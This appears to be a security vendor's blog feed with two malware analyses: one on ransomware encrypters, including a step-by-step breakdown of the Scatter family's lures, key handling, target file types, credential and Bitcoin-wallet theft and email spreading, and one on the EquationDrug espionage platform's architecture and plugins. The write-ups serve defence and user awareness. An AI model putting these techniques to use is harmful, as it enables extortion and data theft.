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Updated: 13 hours 29 min ago

### 'Locked Out'

Thu, 03/12/2015 - 07:00

Today the great majority of malware is created with the aim of enrichment.  One of the tactics often used by evildoers is to encrypt files and demand a ransom for their decryption. Kaspersky Lab classes such programs as Trojan-Ransom malware, although there is another widely used and resonant name – encrypters.

Encrypters have become a serious problem for users, especially corporate users.  And related topics attract the most posts and readers on our forum.

Despite all the efforts of the anti-virus companies we don't expect an easy victory over encrypters in the short term.  There are at least two good reasons for this:

1. Encrypters are constantly evolving.  It is a battle of arms and armour: the defence gets better – the weapons get better.
2. The attack is not carried out on the user's computer but on the system of computer + user.  That is, one of the attack vectors is human.  A person is subject to emotions and irrational acts.  A person is capable of ignoring the warnings of the defence systems or turning it off altogether.  This is precisely what the evildoers are counting on.

In this article we look at the evolution of complication of the encryption schemes used by virus writers and the methods they adopt to put pressure on their victims.  At the end of the article there is some advice for users which might help them protect important files.

The evolution of encrypters: from simple to complex

Serious antivirus companies devote special attention to protection against encrypters. To counter the improved systems of defence virus writers need to change their programs regularly. And they change almost everything: the encryption schemes, means of obfuscation and even the formats of executable files.

Virus writers change the encryption schemes, means of obfuscation and even the formats of executable files

We will consider the evolution of encrypters in terms of the methods of encryption and cypher schemes employed. Depending on the cypher scheme used and the method of obtaining the key, in some cases it is possible to easily decypher the encrypted data and in others it is impossilbe to do so within a reasonable time.

Encryption with an XOR operation

We begin with programs that use the most primitive encryption.  A typical example of such malware is the Trojan-Ransom.Win32.Xorist family.  It has the following characteristics:

• Xorist is one of the few encrypters that carries out its threat and damages the users files when several incorrect attempts are made to enter the password.
• An XOR operation is used to perform the encryption.  The vulnerability of this encryption scheme is that it is possible to easily decrypt files because of the well-known standard file headers.  To counter this attack Xorist encrypts files not from the very beginning but after an interval.  By default this interval is 104h bytes but this can be changed at compilation.
• To complicate the encryption algorithm the key is randomised with the help of the first letter of the file name.

Fragment of a file encrypted by an encrypter of the Xorist family: the eight byte key is clearly visible

On the whole, despite all the cunning of the creators of Xorist the files encrypted by it can be entirely decrypted relatively easily.  Maybe for that reason at the moment the Xorist family of malware is hardly ever encountered in the wild.

To combat Trojan-Ransom.Win32.Xorist the specialists of Kaspersky Lab created the utility XoristDecryptor.

Symmetrical Encryption

A symmetrical encrytion scheme is a scheme that uses a pair of keys for encrytion and decryption that are symmetrical to each other (this is why this scheme is called symmetrical).  In the great majority of cases in such schemes one and the same key is used for encryption and decryption.

If the key is embedded in the body of the encrypter, if one has access to the body of the malware it is possible to extract the key and create an effective utility to decrypt the files.  Such malware usually tries to delete itself after encrypting the files.  An example of this type of program could be one of the modifications of the Rakhni family.  Keys that were detected were added to the utility RakhniDecryptor.

If the key is recieved from the attacker's server or generated and sent to it then having an example of the malware yields little — an example of the key is necessary, and it is on the attacker's server.  If it is possible to recover the key (for obvious reasons the malware tries to delete such key after use) then it is possible to create a utility for decryption.  In this case a system that caches the internet traffic of the user may be useful.  An example of this type of malware is Trojan-Ransom.Win32.Cryakl.

Assymetric encryption

Assymetric encryption is the name given to those schemes in which the encryption and decryption keys are not related in an obvious symmetrical way.  The encrytion key is called the open or public key and the decryption key is the secret or private key.  Calculating the private key from a known public key is a very complicated mathematical task which is not possible in a reasonable time using modern computing capabilities.

At the heart of assymetrical cypher schemes is the so-called trapdoor one-way function.  Put simply this is a mathematical function that depends on a parameter (secret).  Without knowing the secret parameter the value of the function is calculated comparatively easily going one way (for a given value argument we can calculate the value of the function) and extremely difficult in the reverse direction (knowing the value of the function to calculate the value of the argument).  However everything changes knowing the secret parameter — with its help it is possible to reverse the function without particular difficulty.

Assymetric encryption with one key pair

If the public key is embeded in the body of the malware the presence of the malware without the private key is almost no help in decyphering the files (but does help in detecting the program and others like it in the future).

However if the private key becomes known (and it should at least be contained in the decrypter which the evildoer is offering for sale), then it becomes possible to decrypt the data for all users affected by the modification of the program using that public key.

An example of malware of this type is Trojan-Ransom.Win32.Rector.  The characteristics of this family are as follows:

• Uses assymetric encryption and the public key is hidden in the body of the encrypter.
• To speed up the encryption of files it doesn't encrypt them all at once but in small sections.  The encrypted sections are added on to the end of the file and their space is filled in with sequences with a frequency of one byte.  Because of this the encrypted file gains a typical 'scratched' appearance.

File fragment encrpted by a program from the Rector family

• One defect of this scheme for the evildoer is that for the decryption of the files it is necessary to hand over the private key, which can be used to decypher all files encrypted by this modification of the malware.

Thus, although direct decryption of the files is impossible, several users suffering from one and the same modification of the malware can unite and buy one decoder for all of them.  Also users and other interested persons send decoders to us.  The private codes received are added to the RectorDecryptor.

If the public key is obtained from the evildoer's server (which allows the use of a unique public key for each user) then the presence of the body of the malware doesn't help in the decryption of the data — it is necessary to have the private key.  However the body of the program helps identify and block the malware server and this helps protect other users.

Encryption using several keys

To ensure a unique decoder for each user schemes with several keys are used.  For this the key for encryption of data is generated on the victim's computer.  It might be a symmetric key or an assymetric key pair.  The algorithm for key generation is chosen so that the resulting key is unique for each affected user.  In other words the chances of these keys being the same in any two cases should be extremely small.  However sometimes the malware creators make a mistake and the key is generated from a relatively small range of possible values.  In this case the user's data can be decyphered by trying all possible values of the key.  However such cases have been rare lately.

The user's data is encrypted using the generated key.  Then the key that is necessary to decypher the data is encrypted itself using another public key.  This public key is generated earlier and the accompanying private key is not in the body of the encrypter but instead that private key is known to the evildoer.  Then the original key necessary for decyphering the data is deleted and only the encrypted version remains on the user's computer.

Now, having received the encrypted copy of the key the evildoer can extract the key from it that is needed to decypher the user's data and include it in the decoder.  And this decoder will be useless for other affected users.  Which, from the point of view of the evildoers, is a great improvement over the two-key schemes described above.

There is no algorithm to decrypt files encrypted with the RSA with a key length of 1024 bits in an acceptable time

An example of malware using a scheme with several keys is the Trojan-Ransom.BAT.Scatter family. The Scatter family has several significant features:

• A more advanced encryption scheme is used with two pairs of assymetric keys, which allows the evildoers to encrypt the files of the victim without revealing their private key.
• Samples of this family are written in scripting languages, which allows the malicious functions to be easily changed.  Scripts are easier to obfuscate and this process is easier to automate.
• The samples have a modular structure.  The modules are downloaded from the wrongdoers' website during the running of the script.
• Renamed legitimate utilities are used for the encryption of files and deletion of the keys.
• A high level of automation of the process has been achieved.  Almost everything is automated, the malware objects are automatically generated, letters are sent out automatically.  Furthermore, according to the malefactors the process of handling letters from victims and further contact with the victims has been automated.  The decyphering of test files of the victim, evaluation of the cost of the information, the provision of bills, checking payment and sending out decoders all happen automatically.  It is difficult for us to check the truth of this information but taking into account data obtained from studying the modules of Trojan-Downloader.BAT.Scatter there is no reason not to believe these claims.

The Scatter family appeared quite recently: the first samples were detected by Kaspersky Lab specialists at the end of July 2014.  In a short time it significantly evolved, providing itself with the functionality of Email-Worm and Trojan-PSW.

From 25 July 2014 to 25 January 2015 we detected 5989 attacks with the use of Trojan-Downloader.JS.Scatter on 3092 users.

This family is worth discussing in more detail as we can say with certainty that the Trojan-Downloader.*.Scatter family is a new step in the evolution of encrypters.

Technical details: Scatter, a new evolutionary step

The Scatter program family is multimodule script multifunction malware. As an example we chose the modification of the encryption module which is detected as Trojan-Ransom.BAT.Scatter.ab which started to appear with regularity in the middle of October.

The malware download module is spread in email attachments. The filenames are specially chosen by the attackers to make the letter seem legitimate and end up with the accounting staff.

FullName HitsCount ./draft collation act.zip// unpaid bills. Draft collation act for two months – accountancy dept agreed till 14 October 2014_mail.attachment_scannеd.avast.ok.dос .js 4386 scan copy of debts 2014.zp//unpaid bills . Draft collation act for two months – accountanct dept agreed till 14 October 2014._mail.attachment_scannеd.avast.ok.dос .js 402 unpaid bills. Draft collation act for two months – accountancy dpet agreed till 14 October 2014_mail.attachment_scannеd.avast.ok.dос .js 241 Draft collation act.zip 22

The most popular names of the Scatter download modification appearing in the first half of October

If a user attempts to open the attachment they start the downloader, which is an obfuscated JavaScript and is detected by Kaspersky Lab as Trojan-Downloader.JS.Scatter.i

After being started by the user the downloader downloads five other objects from the malefactor's site.  These files are saved in a directory defined by the variable %TEMP%.  Not all of these five objects are harmful:

• fake.keybtc – is a renamed version of the legitimate program gnupg gpg.exe intended for carrying out cryptographic operations.
• night.keybtc – is a renamed version of the library iconv.dll necessary for gpg.exe to work properly
• trash.keybtc – is a renamed version of the utility sdelete.exe from Microsoft designed to reliably delete files.
• key.block – is a malicious command script that uses the utilities above to encrypt files.  This object is detected by Kaspersky Lab as Trojan-Ransom.BAT.Scatter.ab
• doc.keybtc – this file is in the Microsoft Word format.  The downloader renames this file as word.doc and then tries to run it.  If there is a program for looking at .doc files on the user's computer the user sees the following picture:

This document doesn't contain any malicious code.  Its task is too reduce the alertness of the user and distract his attention from the processes taking place on his/her computer.

In the meantime the downloader renames the file key.block to key.cmd and runs it.  At that the work of the downloader is finished and Trojan-Ransom.BAT.Scatter begins.

The sequence of actions of the encrypter Trojan-Ransom.BAT.Scatter.ab 1. Preparation
1.1. Rename the legitimate files it needs with extensions that can be used.
1.2. Check the presence of the special file containing in its name the client identifier and the current date. If such a file exists the encrypter considers that the files are already encrypted and doesn't do anything else. This prevents the rewriting of the special files KEY.PRIVATE and UNIQUE.PRIVATE, created by the Trojan during encryption (more details on these below).
1.3. Check the presence of the directory %AppData%\BitCoin. If this directory exists then later the Trojan tries to steal the BitCoin wallet data.
1.4. Check the existence of the file "%TEMP%\partner.id". This confirms the information found earlier about the presence of the partner programs spread by Scatter. (It is interesting that in some communications on infected computers the wrongdoers offered their victims to decypher their files in exchange for certain services and even promised money for these services. It is possible that in this way they are trying to turn the user into a partner.)
1.5. Generate a key pair (public and private keys: files pubring.gpg and secring.gpg respectively) with the parameters:
Key-Type: RSA
Key-Length: 1024

This type of encryption is currently considered effective: there is no algorithm to decrypt files encrypted with the algorithm RSA with a key length of 1024 bits in an acceptable time without knowing the private key.

1.6. Extract the public key from the body of the malware and  use it to encrypt the file secring.gpg, the private key of the key pair, as a result obtaining the file secring.gpg.gpg.  After that secring.gpg is deleted with the help of the legitimate utilitysdelete.exe and its location rewritten 16 times.  If for some reason it is impossible to delete the unencrypted key using sdelete the Trojan tries to delete it itself, writing over it several times with rubbish.  Multiple rewriting of the location of the file is necessary so that the private key can not be recovered even using special programs for restoring deleted data.
1.7. Copy the encrypted private key (secring.gpg.gpg) under the name %TEMP%\KEY.PRIVATE", which the malware tries to do twice for reliability.  Then it once more checks the presence of KEY.PRIVATE.  If it isn't there and neither is secring.gpg the Trojan doesn't carry out encryption and goes straight to distribution of its loader (item 3)
2. Encryption
2.1. Before the start of encryption the Trojan generates a script with a list of files which it will encrypt.  It does this in two stages:
• First it looks for and adds to the file databin.lst the paths to files with the following extensions:
*.xls *.xlsx *.doc *.docx *.cdr *.slddrw *.dwg *.pdf.
• Then it adds to databin.lst the paths to files with the following extensions:
*.mdb *.1cd *.accdb *.zip *.rar *.max *.cd *.jpg.

Why does it do this?  The RSA algorithm is reliable but extremely slow.  Therefore the malware 'is afraid' that it might start encrypting large files or a directory with a lot of photographs and that something might interfere with it.  For instance the user might switch off the computer.  Therefore the Trojan first of all tries to encrypt small files that are potentially important for the organisation and then moves on to media such as disks and other large volumes of data.

Apart from the list for encryption, the names of files and their size the database UNIQUE.BASE is added to the file.  This database contains the name of the computer and name of the user.  Later the database created will help the evildoers evaluate the size and value of the encrypted information, so as not to undersell their 'goods' and seek the maximum price for decryption.

Then the list of files and database are filtered from files located in utility directories.  As a result the 'filtered' files UNIQUE1.BASE and bitdata1.bin are created.

2.2. The file UNIQUE1.BASE is encrypted with the public key pubring.gpg, which was generated at the begining of the operation of the encrypter. The resulting encrypted file is renamed UNIQUE.PRIVATE and the file UNIQUE1.BASE is deleted.
2.3. The files UNIQUE.PRIVATE and KEY.PRIVATE are copied straightaway in several places so that the user can find them easily. These files are encrypted and the user can not decypher them without knowing the private key of the attackers.
2.4. The Trojan generates a message to the user and adds it to the autoloader:

Fragment of the message of the evildoers (translation from the Russian):

1. Your information has been encrypted using RSA-1024 assymetric encryption, used by the military.  Breaking it is impossible.
During encryption the special ID-file KEY.PRIVATE was copied to various places on the computer.  Do not lose it!
For each computer a new ID-file is created.  It is unique and contains the code for decryption.  You will need this.
'Temporarily blocked' means that the files are modified on the byte-level using a public 1024 bit RSA key.

2. And so, our further actions are as follows:

2.2. First of all you need a guarantee that we can decypher your files.

• include your ID-file KEY.PRIVATE (!!) - look for it on your computer, without it it will not be possible to re-establish your data.
• 1-2 encrypted files to check the possibility of decryption
• the approximate number of encrypted files/computers

2.4. You will recieve a guarantee and the cost of your key within one hour
2.5. Next payment should be made, the minimum cost will be 150 euros
2.6. We will send you your key, you should put it in the same directory as the decoder (DECODE.exe)
2.7. When the decoder is started the concealed decryption of your data is carried out.  You should not start this process more than once.
2.8. The process of decryption might take up to 12 hours in stealth mode.  At the end of the process the computer will reboot.

2.5. The Trojan renames bitdata1.bin (the script for the encryption of data generated earlier) as bitdata.cmd and starts it running. As a result the user's files are encrypted and the email address of the evildoers is added to their extensions.
2.6. After successful encryption the mark BITM is added to all files UNIQUE.PRIVATE and KEY.PRIVATE
3. Distribution of loader by electronic mail
3.2. With the help of the downloaded components the evildoer looks for user passwords for mail services Mail.ru, Yandex.ru and Gmail on the infected computer.  Any passwords found are sent to a special email address of the malefactor and data from any located BitCoin wallets are also sent there.
3.3. The malware generates 15 variants of letters.  They are all linked by a legal and not an accounting theme on this occasion.

With the help of passwords to mail services obtained earlier the Trojan connects with the mail servers and obtains the headers of letters received.  Email sendouts and automatic mesages are filtered out of the emails received.  All the remaining email addresses are sent one of the 15 possible versions of the letters, selected with the help of a random number generator.

It is interesting that regardless of the text of the letters, one and the same attachment is added — the archive with password '1'.  This archive is downloaded from the same site of the attacker before the start of the mail out.  Inside the archive is a file with a long name in Russian, which translates as:

Complaint concerning unpaid debts. Legal department — Confirmed and agreed for dispatch to debtor_October 2014_ Avast.ОК.dос .js

In several cases the theme of the letter and the name of the attachment do not match each other — this is a drawback of the automatic generation of letters and malware objects.

The object with the long name is the JavaScript Trojan-Downloader.JS.Scatter.i described earlier but already with another obfuscation.

Despite the obfuscation both scripts are successfully detected by Kaspersky Lab products, both by signature and using heuristics written over a year ago, before the appearance of this type of malware.

To the aid of the bad guys: the human factor

The business of cyber-blackmailers is flourishing. In 2014 Kaspersky Lab recorded more than seven million attacks on its users with the use of objects from the Trojan-Ransom family.

In 2014 Kaspersky Lab recorded more than 7 million attacks with the use of encrypters

Number of attacks by encrypters blocked every month by Kaspersky Lab in 2014

Malefactors ever more frequently prefer to receive payment in the crypto-currency BitCoin.  Although prices for users by habit are indicated in rubles, US dollars and euros.  The prices for decryption for simple users start at 1000 rubles and increase to several hundred dollars.  In the case of encryption of the files of an organisation the appetite of the malefactors increases by on average a factor of five.  There are cases known when 5000 euros was demanded for file decryption.  Unfortunately, for companies that have lost their data it is often simpler to pay than lose important information.  It is no surprise that organisations are the main target of evildoers utilising encrypters.

Why are encrypters able to inflict such damage?

As was mentioned above, most antivirus companies constantly improve their defences against encrypters.  For instance Kaspersky Lab has implemented special technical 'Protection against Encrypter Programs' in its products.  However, as is well known, the weakest point in IT protection is the user.  And in the case of encrypters this is extremely relevant.

We conduct special events dedicated to combatting this type of malware.  These events include a whole complex of measures: analysis of all incidents that have occured at organisations contacting our technical help service (using both our own and other antivirus products); search for and collection of samples of encrypters; analysis of the work of each defensive component of our products in each event that happened; improvement of existing and development of new methods of detecting and remedying the consequences of the actions of encrypters.  This is painstaking work and takes a lot of time, but it is necessary for our products to deal successfully with this constantly changing threat.

In our research we often see file encryption attacks made possible by employees working with antivirus disabled

During these investigations we often come across instances of the encryption of files in organisations as a consequence of their employees working with the antivirus program switched off.  And these are not isolated cases, our technical help service encounters such cases several times a week.

It seems to us that one possible reason for such carelessness among users, strange as it may seem, is down to significant technical progress.  The improved defences of browswers and operating systems has led to a state where today users encounter the threats of malicous programs less often than previously.  As a result some of them, not thinking, switch off individual components of their antivirus products or don't use them at all.

Much has been said about the need to regularly update programs.  Nevertheless we once again note the importance of keeping anti-virus programs up to date.  We have investigated cases of encryption of files at organisations that happened for one simple reason: the user, on arriving at work, started to read their mail not waiting for the anti-virus database to update — and that update contained a signature capable of identifying the malware involved.

On the other hand it is worth remembering that no product, no matter how modern, can provide 100% protection against malware appearing on the computer.  Belief in the absolute defence of a 'super-anitvirus program' leads to users being careless — for instance opening file attachments in suspicious letters or unthinkingly clicking on dangerous links.  The availability of 'advanced' systems of defence does not relieve the user of the need to follow the security policy.

Make back-up copies of all important files on separate media off the computer

The lack of back-up copies of important files plays its part in the success of encrypters.  Earlier it was possible to lose data not only as a result of the operation of malware but because of failure of the data medium or one's own legitimate programs, used to operate on important data.  But in recent decades the reliability of media and programs has improved dramatically.  And most users have stopped making back-up copies of their data.  As a result, if a computer is infected with an encrypter it simply paralyses the normal work of the company and the chances of the attacker receiving money for decrypting the data increase accordingly.

Traps for the unwary: how users are attacked

If you compile a hit parade of the methods used to spread encrypters the first and second places would be taken resoundingly by email. In the first case the dangerous object is contained directly in the letter and in the second the letter doesn't contain the object itself but a hyperlink to it. In third place in terms of popularity we see attacks via a system for remote control of the computer (Microsoft's Remote Desktop Protocol or RDP). Such attacks as a rule are carried out on an organisation's servers.

RDP attack

Let's start with the rarest and simplest method.  In the event of an RDP attack the evildoer, having obtained remote access to the computer, first of all switches off the antivirus program and then runs the encrypter.  The main factors allowing such an attack via RDP are the use of weak passwords or a leak of information about the password from the user's record files. The introduction of a strict password policy will help resist such an attack:

• a password must be tough to crack (complicated);
• a password should be known only to its user;
• a password should be changed regularly.
Attack via electronic mail

If an attack by RDP occurs without the user's involvement; an attack via email must be activated by the user him or herself by running a received file or clicking on a link in a letter.  This is achieved by social engineering methods used by the wrongdoer or, to put it more simply, by lying to the user.  The wrongdoer's strategy is often built on the fact that the person under attack is chosen because they have a job totally unrelated to information security.  Such people may not even know of the existence of such threats as malicious encryption of files.

The person under attack is chosen because they have a job totally unrelated to information security

Letter topics

The organisation receives a letter that sounds frightening, for instance a court case has been initiated against the organisation, the details of which are contained in the document attached.

A example 'letter from the court'. The attachment contains a Trojan-encrypter

The thinking of the evildoers is probably something like the following: frighten the victim with some imaginary threat, the fear of which outweighs the worry about opening an unknown email attachment.

For organisations this approach works especially well: the simple employee receiving such a letter bears an unexpected responsibility.  The employee tries to share the responsibility and consults his/her colleagues.  The evildoer's chances  that someone will open the attachment increase.  In several incident investigations  it turned out that the in-house lawyers of the victim organisations insisted that the attachment be opened.

Be suspicious of links and attachments in unexpected letters

And to reduce the suspicions of the recipient the author of the letter might use official logos:

An example of a letter containing a link to a malicious object

Or the executable file might be built into a Microsoft Word document and be masked by an icon:

An example of how an executable file can be hidden in a Microsoft Word document

The malefactors also use a scheme when a Microsoft Word document contains unreadable text and a request to allow macros, supposedly to correct the appearance of the text. In actual fact after the operation of the macro the Trojan-encrypter will be loaded onto the computer.

An example of a Microsoft Word document 'convincing' the user to execute a malicious macro
The red text says 'To correct the display switch on macros'

The next social engineering technique is the use of special words in the names of files contained in the archives attached to the letter (or downloaded by the user). For instance it could be the word 'checked' or 'secure' plus the name of various anti-virus products. The aim of the malefactors is to make the user believe that the attachment has been checked by an anti-virus product.

An example of a malicious attachment using the name of an anti-virus product and the extension .js

The extensions for executable files are specially chosen to be unknown to the casual user.  Usually .scr, .com and .js are used.

A special mention goes to attachments apparently providing 'free security tutorials from Kaspersky Lab'.  Such letters are also sent in the name of other security companies.

Recommendations for users

Detailed recommendations for system administrators can be found here.
Here we give some brief recommendations for users:

• Make back-up copies of all important files on separate media off the computer.
• Switch on display extensions for registered file types.  This will help you to check that the document sent to you really is a document and not an executable file.  You need to check this even if the letter comes from a known sender.
• Be suspicious of links and attachments in unexpected letters.  Curiosity and fear are the favourite instruments of wrongdoers, causing users to forget about being cautious and to open attachments.
• Use the latest version of anti-virus products. As a rule their effectiveness increases with every new version thanks to new modules.  We earnestly recommend the users of our products to enable KSN.
• And finally, wait for the anti-virus database to be updated before reading your morning mail.
• System administrators (in addition to everything else) should keep users aware of threats.

### Inside the EquationDrug Espionage Platform

Wed, 03/11/2015 - 07:00
Introduction

EquationDrug is one of the main espionage platforms used by the Equation Group, a highly sophisticated threat actor that has been engaged in multiple CNE (computer network exploitation) operations dating back to 2001, and perhaps as early as 1996. (See full report here [PDF]).

EquationDrug, which is still in use, dates back to 2003, although the more modern GrayFish platform is being pushed to new victims.

EquationDrug represents the main espionage platform from the #EquationAPT Group

It's important to note that EquationDrug is not just a Trojan, but a full espionage platform, which includes a framework for conducting cyberespionage activities by deploying specific modules on the machines of selected victims. The concept of a cyberespionage platform is neither new nor unique. Other threat actors known to use such sophisticated platforms include Regin and Epic Turla.

The EquationDrug platform can be extended through plugins (or modules). It is pre-built with a default set of plugins supporting a number of basic cyberespionage functions. These include common features such as file collection and the making of screenshots. Sophistication is added by storing stolen data inside a custom-encrypted virtual file system before it is sent to the command and control servers.

The name "EquationDrug" or "Equestre" was assigned to this framework by Kaspersky Lab researchers. The only reference left by the framework developers was a short string "UR", as seen in several string artifacts left in the binaries.

Platform Architecture

The EquationDrug platform includes dozens of executables, configurations and protected storage locations. Putting all the pieces of this puzzle together in the right order may take time for those who are not familiar with the platform.

The platform includes executables, configurations and protected storage locations #EquationAPT

The architecture of the whole framework resembles a mini-operating system with kernel-mode and user-mode components carefully interacting with each other via a custom message-passing interface. The platform includes a set of drivers, a platform core (orchestrator) and a number of plugins. Every plugin has a unique ID and version number that defines a set of functions it can provide. Some of the plugins depend on others and might not work unless dependencies are resolved.

Similar to popular OS kernel designs, such as on Unix-based systems, some of the essential modules are statically linked to the platform core, while others are loaded on demand.

The hypothesis that these attackers have been active since the 90s seems realistic #EquationAPT

The platform is started by the kernel mode driver component ("msndsrv.sys" on Windows 2000 or above and "mssvc32.vxd" on Windows 9x). The driver then waits for the system to start and initiates execution of the user-mode loader "mscfg32.exe". The loader then starts the platform's central module (an orchestrator) from the "mscfg32.dll" module. Additional drivers and libraries may be loaded by different components of the platform, either built-in or auxiliary.

Platform Components

The EquationDrug platform can be as sophisticated as a space station, but it appears to be of no use without its cyberespionage features. This function is provided by plugin modules that are part of the massive framework described above. We discovered dozens of plugins and each is a sophisticated element that can communicate with the core and become aware of the availability of other plugins.

The plugins we discovered probably represent just a fraction of the attackers' potential. Each plugin is assigned a unique plugin ID number (WORD), such as 0x8000, 0x8002, 0x8004, 0x8006, etc. All plugin IDs are even numbers and they all start from byte 0x80. The biggest plugin ID we have seen is 0x80CA. To date, we have found 30 unique plugin IDs in total. Considering the fact that the developers assigned plugin IDs incrementally, and assuming that other plugin IDs were assigned to modules that we have not yet discovered, it's not hard to calculate that 86 modules have yet to be discovered.

86 modules have yet to be discovered #EquationAPT

The most interesting modules we have seen contain the following functionality:

• Network traffic interception for stealing or re-routing.
• Reverse DNS resolution (DNS PTR records).
• Computer management:
• Start/stop processes
• Manage files and directories
• System information gathering:
• OS version
• Computer name
• User name
• Locale
• Keyboard layout
• Timezone
• Process list
• Browsing network resources and enumerating and accessing shares.
• WMI information gathering.
• Enumeration of processes and other system objects.
• Monitoring LIVE user activity in web browsers.
• Low-level NTFS filesystem access based on the popular Sleuthkit framework.
• Monitoring removable storage drives.
• Passive network backdoor (runs Equation shellcode from raw traffic).
• HDD and SSD firmware manipulation.
• Keylogging and clipboard monitoring.
• Browser history, cached passwords and form auto-fill data collection.
Code Artifacts

During our research we paid attention to unique identifiers and codenames used by the developers in the malware. Most of this information is carefully protected with obfuscation or encryption algorithms to prevent quick recognition, but anyone who breaks through this layer of encryption may discover some interesting internal strings, as demonstrated below:

Some other interesting text strings include:

SkyhookChow Target
Dissecorp
Manual/DRINKPARSLEY/2008-09-30/10:06:46.468-04:00
VTT/82053737/STRAITACID/2008-09-03/10:44:56.361-04:00
VTT/82051410/LUTEUSOBSTOS/2008-07-30/17:27:23.715-04:00
STRAITSHOOTER30.ex_
BACKSNARF_AB25
c:\users\rmgree5\co\standalonegrok_2.1.1.1\gk_driver\gk_sa_driver…
To install: run with no arguments
Attempting to drop
SFCriteria_Check failed!
SFDriver
Error detected! Uninstalling...
Timeout waiting for the "canInstallNow" event from the implant-specific EXE!
Trying to call privilege lib...
Hiding directory
Hiding plugin...
Merging plugin...
Merging old plugin key...
Couldn't reset canInstallNowEvent!
Performing UR-specific pre-install...
Work complete.
Merged transport manager state.
!!SFConfig!!

Some other names, such as kernel object and file names, abbreviations, resource code page and several generic messages, point to English-speaking developers. Due to the limited number of such text strings it's hard to tell reliably if the developers were native English speakers.

We have gathered a reasonably large number of executable samples to which we have been able to apply link timestamp analysis.

A link timestamp is a 4-bytes value stored in an executable file header. This value is automatically set by compiler software when a developer builds a new executable. The value contains a detailed timestamp including minutes and even seconds of compilation time (think of it as the file's moment of birth).

Link timestamp analysis require the collection of the timestamps of all available executables, grouping them according to certain criteria, such as the hour or day of the week, and putting them on a chart. Below are some charts built using this approach.

Can we trust this information? The answer is: not fully, because the link timestamp can be altered by the developer in a way that's not always possible to spot. However, certain indicators such as matching the year on the timestamp with the support of technology popular in that year leads  us to believe that the timestamps were, at the very least, not wholly replaced. Looking at this from the other side, the easiest option for the developer is to wipe the timestamp completely, replacing it with zeroes. This was not found in the case of EquationDrug. In fact, the timestamps look very realistic and match the working days and hours of a well-organized software developer from timezone UTC-3 or UTC-4, if you assume that they come to work at 8 or 9 am.

The timestamps match the working days of software developer from timezone UTC-3 or UTC-4 #EquationAPT

And finally, in case you are wondering if the developers work on public holidays, you can check this for yourself against the full list of their working dates:

2001.08.17 2007.12.11 2009.04.16 2011.10.20 2012.08.31 2013.06.11 2001.08.23 2007.12.17 2009.06.05 2011.10.26 2012.09.28 2013.06.26 2003.08.16 2008.01.01 2009.12.15 2012.03.06 2012.10.23 2013.08.09 2003.08.17 2008.01.23 2010.01.22 2012.03.22 2012.11.02 2013.08.28 2005.03.16 2008.01.24 2010.02.19 2012.04.03 2012.11.06 2013.10.16 2005.09.08 2008.01.29 2010.02.22 2012.04.04 2013.01.08 2013.11.04 2006.06.15 2008.01.30 2010.03.27 2012.04.05 2013.02.07 2013.11.26 2006.09.18 2008.04.24 2010.06.15 2012.04.12 2013.02.21 2013.12.04 2006.10.04 2008.05.07 2011.02.09 2012.07.02 2013.02.22 2013.12.05 2006.10.16 2008.05.09 2011.02.23 2012.07.09 2013.02.27 2013.12.13 2007.07.12 2008.06.17 2011.08.08 2012.07.17 2013.04.16 2007.10.02 2008.09.17 2011.08.30 2012.08.02 2013.05.08 2007.10.16 2008.09.24 2011.09.02 2012.08.03 2013.05.14 2007.12.10 2008.12.05 2011.10.04 2012.08.14 2013.05.24 Conclusions

EquationDrug represents the main espionage platform from the Equation Group. It's been in use for over 10 years, replacing EquationLaser until it was replaced itself by the even more sophisticated GrayFish platform.

The EquationDrug case demonstrates an interesting trend: a growth in code sophistication #EquationAPT

The EquationDrug case demonstrates an interesting trend that we have been seeing while analyzing supposedly nation-state cyberattack tools: a growth in code sophistication. It is clear that nation-state attackers are looking for better stability, invisibility, reliability and universality in their cyberespionage tools. You can make a basic browser password-stealer or a sniffer within days.  However, nation-states are focused on creating frameworks for wrapping such code into something that can be customized on live systems and provide a reliable way to store all components and data in encrypted  form, inaccessible to normal users. While traditional cybercriminals mass-distribute emails with malicious attachments or infect websites on a large scale, nation-states create automatic systems infecting only selected users. While traditional cybercriminals typically reuse one malicious file for all victims, nation-states prepare malware unique to each victim and even implement restrictions preventing decryption and execution outside of the target computer.

Nation-state attackers create automatic systems infecting only selected users #EquationAPT

Sophistication of the framework is what makes this type of actor different from traditional cybercriminals, who prefer to focus on payload and malware capabilities such as implementing a long list of custom third-party software credential database parsers.

The difference in tactics between cybercriminals and nation-state attackers appears to be due to relative resource availability. It's known that cybercriminals attempt to infect as many users as possible and that they can sometimes compromise hundreds of thousands of systems. It would will take many years to check all those machines manually, analyzing who owns them, what data is stored on them, and what custom software they run.

Cybercriminals probably don't even have enough disk space to collect all the potentially interesting data from the victims hit by their large scale infections. That is why cybercriminals prefer to extract tiny chunks of the most important data (credentials, credit card numbers, etc) on the machine of the victim and transfer only few kilobytes from each compromised host. Such data, when combined from all users, normally takes up gigabytes of disk space.

Nation-state attackers have sufficient resources to store as much data as they want. They have access to virtually unlimited data storage. However, they don't need, and often try to avoid, infecting random users, for the obvious reason of avoiding attention and remaining invisible. Implementing custom data format parsers in the malware not only doesn't help them find all the valuable data on the victim's machine, but may also attract extra attention from security software running on the system. They mostly prefer to have a generic remote system management tool that can copy any information they might need even if it causes some redundancy. However, copying large volumes of information might slow down network connection and attract attention, especially in some countries with poorly developed internet infrastructure. To date, nation-state attackers have had to balance between these two poles: copying victims' entire hard drives while stealing only tiny bits of passwords and keys.

Nation-state attackers use a remote system management tool that can copy any information they need #EquationAPT

Now, if you wonder why EquationDrug, a powerful cyberespionage platform, doesn't provide all stealing capability as standard in its malware core, the answer is that they prefer to customize the attack for each one of their victims. Only if they have chosen to actively monitor you and the security products on your machines have been disarmed, will you receive a plugin for the live tracking of your conversations or other specific functions related to your activities. We believe modularity and customization will become a unique trademark of nation-state attackers in the future.

Some code paths in EquationDrug modules lead to OS version checks including a test for Windows 95, which is accepted as one of supported platforms. While some other checks will not pass on Windows 95, the presence of this code means that this OS was supported in some earlier variants of the malware. Considering this and the existence of components designed to run on Windows 9x (such as VXD-files), as well as compilation timestamps dating back to early 2000s, the hypothesis  that these attackers have been active since the 90s seems realistic. This makes the current attacker an outstanding actor operating longer than any other in the field.

Technical Details Kernel mode stage 0 (Windows 9x) - mssvc32.vxd MD5 0a5e9b15014733ee7685d8c8be81fb0d Size 6 710 bytes Format Linear Executable (LE)

This VXD driver handles only two control messages: W32_DeviceIoControl and Dynamic_Init. The DeviceIoControl part is not completely implemented and the driver is only able to check for some known control codes.  However it does nothing. This handler looks more like a code stub rather than actual payload.

